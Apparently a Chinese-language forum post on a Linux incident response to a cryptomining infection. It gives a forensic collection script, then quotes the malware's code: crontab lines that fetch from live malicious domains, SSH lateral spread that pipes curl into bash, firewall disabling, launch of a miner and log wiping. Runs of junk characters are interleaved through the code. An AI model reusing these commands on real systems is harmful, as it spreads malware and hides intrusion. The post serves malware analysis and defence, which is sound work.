背景

前一段时间我处理了一次应急响应，我还输出了一篇文章 Linux应急响应笔记。这两天又处理了一次病毒入侵，在前一次的基础上，这次应急做了一些自动化脚本，应急响应效率有了一定程度的提升，故另做一份笔记。

PS：本文重在分享应急响应经验，文中保留了恶意网址，但是删除了恶意脚本及程序的下载路径。本文仅用于技术讨论与分析，严禁用于任何非法用途，违者后果自负。

应急操作笔记

查看我上一次 Linux应急响应笔记，我发现罗列这么多命令，很多时候眼花缭乱，操作起来也不方便，不如写个shell脚本自动化收集信息。

自动化信息收集

我的自动化手机信息的脚本如下，脚本的初衷是进行自动化信息收集，不需要我去连接到客户设备，提升操作/沟通效率。

1. 
   
2. #!/bin/bash
   
3. 
   
4. function initial(){
   
5.     echo "Doing initial"
   % M6 B# b) e0 J% H7 B  F  x# R+ a
6.     mkdir /tmp/GatherInfo   
   
7.     chmod +x ./chkrootkit
   5 Q, {8 }3 @% G% v8 v3 E" D3 e3 z
8.     chmod +x ./busybox
   
9. }
   
10. 
    
11. function chkrootkit_info(){
    
12.     echo "Doing chkrootkit"
    
13.     ./chkrootkit > /tmp/GatherInfo/chkrootkit.log 2>&1
    
14. }
    
15. 
    7 k' S' P2 m' B9 q/ j
16. function network_info(){
    
17.     echo "Gathering network info"
    
18.     netstat -tulnp > /tmp/GatherInfo/netstat_tulnp.log 2>&1
    
19.     netstat -anp > /tmp/GatherInfo/netstat_anp.log 2>&1
    
20. }
    
21. 
    . L* `& ^7 i' J# q; P) y6 F
22. function process_info(){
    
23.     echo "Gathering process info"
    4 g) c( _# X5 A8 {% w. K
24.     ps aux > /tmp/GatherInfo/ps_aux.log 2>&1
    1 @9 K& r0 t/ C6 Q1 ^  q4 ?; h
25.     ps auxef > /tmp/GatherInfo/ps_auxef.log 2>&1
    , d. _8 N1 V9 z" R% z& ~7 e& H& _
26.     top -n 1 > /tmp/GatherInfo/top_n1.log 2>&1
    
27. }
    
28. 
    , {$ S1 O7 u  g9 M+ P. R  p
29. function init_info(){
    - L1 ^$ f6 D* k5 M# E4 ?6 h
30.     echo "Gathering init info"
    
31.     chkconfig --list > /tmp/GatherInfo/chkconfig_list.log 2>&1
    & @# h( H: k% S/ L& Y( i
32.     ls -alt /etc/init* > /tmp/GatherInfo/ls_alt_etc_init.log 2>&1
    
33. }
    
34. 
    
35. function cron_info(){
    
36.     echo "Gathering cron info"
    + o/ z$ d3 l+ G# O" y3 R- G
37.     cat /etc/crontab > /tmp/GatherInfo/crontab.log 2>&1
    7 Q6 Q: Z' O$ B7 }* v% |8 G6 b5 E
38.     cat /etc/anacrontab > /tmp/GatherInfo/anacrontab.log 2>&1
    
39.     crontab -l > /tmp/GatherInfo/crontab_l.log 2>&1
    
40. 
    ( V" ]5 w# w4 B* k) u  j
41.     cd /etc/cron.d/
    
42.     cat * > /tmp/GatherInfo/etc_cron.d.log 2>&1
    , p4 G9 G) r1 |7 s4 F  p
43.     cd /etc/cron.daily/
    
44.     cat * > /tmp/GatherInfo/etc_daily.log 2>&1
    
45.     cd /etc/cron.hourly/
    
46.     cat * > /tmp/GatherInfo/etc_hourly.log 2>&1
    ' s; t! i( f3 c1 _; o
47.     cd /etc/cron.monthly/
    3 h% }4 }7 G, z! C& H6 t
48.     cat * > /tmp/GatherInfo/etc_monthly.log 2>&1
    
49.     cd /etc/cron.weekly/
    
50.     cat * > /tmp/GatherInfo/etc_weekly.log 2>&1
    6 A' f" s3 d; \
51.     cd /var/spool/cron/
    
52.     cat * > /tmp/GatherInfo/var_spool_cron.log 2>&1
    $ N4 }" W# s, e
53.     cd /var/spool/anacron/
    
54.     cat * > /tmp/GatherInfo/var_spool_anacron.log 2>&1
    
55. }
    
56. 
    
57. function other_info(){
    
58.     echo "Gathering other info"
    0 O* S9 H0 S  j  n7 F
59.     cat /etc/passwd | grep -v nologin > /tmp/GatherInfo/passwd.log 2>&1
    
60.     ls -alt /tmp > /tmp/GatherInfo/tmp.log 2>&1
    ! C$ y2 ?. @7 r+ K) b7 e
61.     ls -alt /var/tmp > /tmp/GatherInfo/var_tmp.log 2>&1
    
62.     ls -alt /dev/shm > /tmp/GatherInfo/dev_shm.log 2>&1
    
63.     echo $LD_PRELOAD > /tmp/GatherInfo/LD_PRELOAD.log 2>&1
    
64.     cat /etc/ld.so.preload > /tmp/GatherInfo/etc_ld.so.preload.log 2>&1
    & e9 W: |7 _; ]8 a; F5 k9 {% M% ?
65.     s -alt /root/.ssh > /tmp/GatherInfo/ls_alt_root_.ssh.log 2>&1
    
66.     cat /root/.ssh/* > /tmp/GatherInfo/cat_root_.ssh.log 2>&1
    
67. 
    + Y# Y0 R! z1 o8 z
68.     for user in /home/*
    
69.     do
    
70.         if test -d $user;then
    2 d) e2 l7 [2 }( M( W8 w
71.             cat /$user/.ssh/* > /tmp/GatherInfo/cat_$user_.ssh.log 2>&1
    , z% u: n" c  m5 D/ G5 O
72.         fi
    1 D2 m1 u7 Q) B- D' g4 T8 z
73.     done
    8 e7 `. _5 K4 c8 w9 x# Z" N3 z
74. }
    9 W' d: i8 ~4 B6 ^
75. 
    
76. initial
      O2 F/ V0 v3 q2 \, C
77. chkrootkit_info
    ) ?+ {+ ]/ r" [7 n  Y: G
78. network_info
    & b0 c5 v, \- N  o% i! V% B
79. process_info
    
80. init_info
    
81. cron_info
    
82. other_info
    
83. 
    
84. cd /tmp
    2 `6 H& i8 T! o* P/ B
85. tar -zcvf GatherInfo.tar.gz GatherInfo

复制代码

信息收集结果分析

查看自动化收集的信息GatherInfo下的所有文件内容，根据下面的Checklist表项进行挨个梳理排查

应急响应检查表

在排查进程，网络时都未发现异常。在排查定时任务crontab时，发现三行异常的定时任务

1. 
   9 P7 n9 G3 L. e4 _2 R
2. 59 * * * * root (curl -fsSL http://t.amynx.com/ ......
   
3. 28 * * * * root (curl -fsSL http://t.jdjdcjq.top/ ......
   
4. 13 * * * * root ps aux|grep lplp.ackng.com ......

复制代码

我把恶意脚本获取到本地，这是一个shell脚本，接下来分析看看这个脚本干什么

恶意脚本分析

恶意脚本脚本共439行代码，前面300行都是删除文件和杀死进程，我简单摘要几段代码

1. 
   
2. #/bin/bash
   
3. processes(){
   
4.     killme() {
   
5.       killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &
   2 M* ]$ X% X* g; D+ `( _, w! |. z
6.     }
   
7. 
   0 \! x, y6 r, i. ~, W
8.     killa() {
   
9.     what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&
   / Z. b! u/ F8 Q0 P) B, ?' K2 w8 w! Z
10.     }
    1 _6 l! y; A0 m# J' O$ ^
11. 
    $ f8 Y* @4 V. r2 _8 v: j2 ~
12.     killa 34e2fg
    
13.     killme
    6 M, j; {! O3 F% l$ C' E; G5 w
14. 
    
15.     killall \.Historys
    
16.     killall \.sshd
    
17.     killall neptune
    $ ^/ `- @+ [* p2 a* _% L% n5 a
18.     killall xm64
    
19.     killall xm32
    
20.     killall xmrig
    
21.     killall \.xmrig
    
22.     killall suppoieup
    
23. 
    8 Z9 B1 j  k: S, L
24.     # sshd
    ; C) x6 H( K/ X+ o( x. b+ K& A
25.     ps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpid
    
26.     while read sshdpid
    ; A: ~0 P5 `; H! }2 U& u7 X
27.     do
    
28.         if [ $(echo  $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
    
29.         then
    
30.             kill $sshdpid
    6 m' [8 B6 f. g& K; n* \+ V
31.         fi
    
32.     done < /tmp/ssdpid
    ' H/ {  B; @+ n  M9 d4 `# |
33.     rm -f /tmp/ssdpid
    , R- ?" b, u, C
34. 
    
35. # Removing miners by known path IOC
    
36. files(){
    
37.     ulimit -n 65535
    9 u; F( h: P, z) r
38.     rm -rf /var/log/syslog
    , e: O# j4 ^' \- W2 g
39.     chattr -iua /tmp/
    
40.     chattr -iua /var/tmp/
    : y! J+ l8 l% M$ K6 z1 |
41.     chattr -R -i /var/spool/cron
    ( s  {& m  S: v" Q5 t: V
42.     chattr -i /etc/crontab
    
43.     ufw disable
    
44.     iptables -F
    
45.     echo "nope" >/tmp/log_rot
    
46.     sudo sysctl kernel.nmi_watchdog=0
    
47.     echo '0' >/proc/sys/kernel/nmi_watchdog
    6 ]2 W4 n8 l% B; C
48.     echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
    , l6 L7 z) i7 }
49.     rm /tmp/.cron
    
50.     rm /tmp/.main
    
51.     rm /tmp/.yam* -rf
    
52.     rm -f /tmp/irq
    5 u5 P3 L) ~7 x$ Q- y5 A, V! R
53. 
    5 ?8 |. D1 W# L) I) q8 I
54. # Killing and blocking miners by network related IOC
    + z8 N! `% N& g
55. network(){
    
56.     # Kill by known ports/IPs
    
57.     netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    
58.     netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    . E: d0 I+ @& b7 A. I
59. 
    
60. files
    
61. processes
    6 I  s& |; m. Z- z
62. network
    
63. echo "DONE"

复制代码

+ u8 ~' x' O& P, K

接下来是下载恶意二进制程序以及ssh横向传播

1. 
   " D) e( x; `' E$ _5 ?6 M) ?
2. 代码片段1
   
3. if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
   ( F8 y' r! Z- v) k0 L
4.   for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.amynx.com/ ......
   
5. fi
   
6. 
   
7. 代码片段2
   0 ~7 i( U, l2 E
8. for file in /home/*
   , `. ?0 B8 Z- A! W* P" p2 L
9. do
   
10.     if test -d $file; then
    
11.         if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
    
12.             for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.amynx.com/ ...... |bash >/dev/null 2>&1 &' & done
      l* }8 \# Q$ v) [9 }4 A+ n
13.         fi
    . s- H$ }" P6 E7 x* j: q& B6 K
14.     fi
    
15. done
    
16. 
    
17. 代码片段3
    
18.   for user in $userlist; do
    
19.     for host in $hostlist; do
    
20.       for key in $keylist; do
    7 c2 n; |# C# O. |
21.         for sshp in $sshports; do
    8 T3 a' \% z# f" W7 K" e7 Q
22.           i=$((i+1))
    
23.           if [ "${i}" -eq "20" ]; then
    
24.             sleep 20
    ! _8 T  a/ d3 j# V
25.             ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null &
    
26.             i=0
    
27.           fi
    
28.           #Wait 20 seconds after every 20 attempts and clean up hanging processes
    
29. 
    
30.           chmod +r $key
    ) G& Z# R; Z5 n, j% U) U( s; S
31.           chmod 400 $key
    
32.           echo "$user@$host $key $sshp"
    
33.           ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "export src=sshcopy;(curl -fsSL http://t.amynx.com/ ...... |bash >/dev/null 2>&1 &"
    % T+ H2 F; ?6 V9 Z3 S& h
34.         done
    
35.       done
    # R( W+ F/ x+ p% s/ i5 }
36.     done
    
37.   done

复制代码

上面这三段代码是通过ssh的证书登录方式横向感染传播。

1. 
   
2. if [ ! -d "/.Xll" ];then
   
3.     mkdir /.Xll
   
4. fi
   
5. cd /.Xll
   
6. if [ ! -f "./xr" ];then
   : U9 A& ~( y8 X
7.     uname -a|grep x86_64 && (curl -fsSL d.ackng.com/ ......
   
8. fi
   7 E, D7 u% e' p6 m
9. uname -a|grep x86_64 && ps aux|grep lplp.ackng.com |grep -v grep || ./xr -o lplp.ackng.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529

复制代码

上面这段代码是下载恶意二进制程序，应该就是挖矿病毒本体。

最后是清理痕迹

1. 
   4 ]0 B8 f9 g$ s  Z
2. history -c
   0 l3 H: u/ _! i; |: l; V$ w
3. echo 0>/var/spool/mail/root
   2 q2 M- ?5 ^0 H& j' B  ^: ?
4. echo 0>/var/log/wtmp
   3 X# j% N' ^6 a2 W
5. echo 0>/var/log/secure
   
6. echo 0>/var/log/cron
   
7. echo > /root/.bash_history

复制代码

清理与恢复

根据恶意脚本的逻辑，整理出清理步骤如下 1 删除crontab恶意定时任务 2 杀死./xr进程 3 删除/.Xll 目录

总结与反思病毒标识

目录及文件 /.Xll 和 /.Xll/xr

进程表示 ps aux | grep lplp.ackng.com

两个域 t.amynx.com， t.jdjdcjq.top

挖矿威胁小于勒索

每次碰到病毒入侵要应急都心惊胆颤，挖矿病毒都还好，最坏情况是重装个环境，客户的数据是安全的，如果是勒索病毒就会很棘手。

无论如何，还是尽量保证系统安全性，减小系统入侵攻击面，这样可以极大保护系统不被入侵。

防护建议

一般来说，自动化的入侵一般都是利用非常简单的漏洞，比如若口令，使用存在漏洞的组件，未授权访问等，另外一个感染病毒的方式是ssh证书认证。如上文提到的，针对ssh横向传播就有三个方式，看来这种方式还是很受青睐的。所以对于厂商来说，还是要适当的控制ssh证书登入。

最后，我把上述用到的脚本和checklist放在https://github.com/kafroc/emergency-response-toolbox 中，有需要的读者可下载使用，欢迎任何的反馈意见。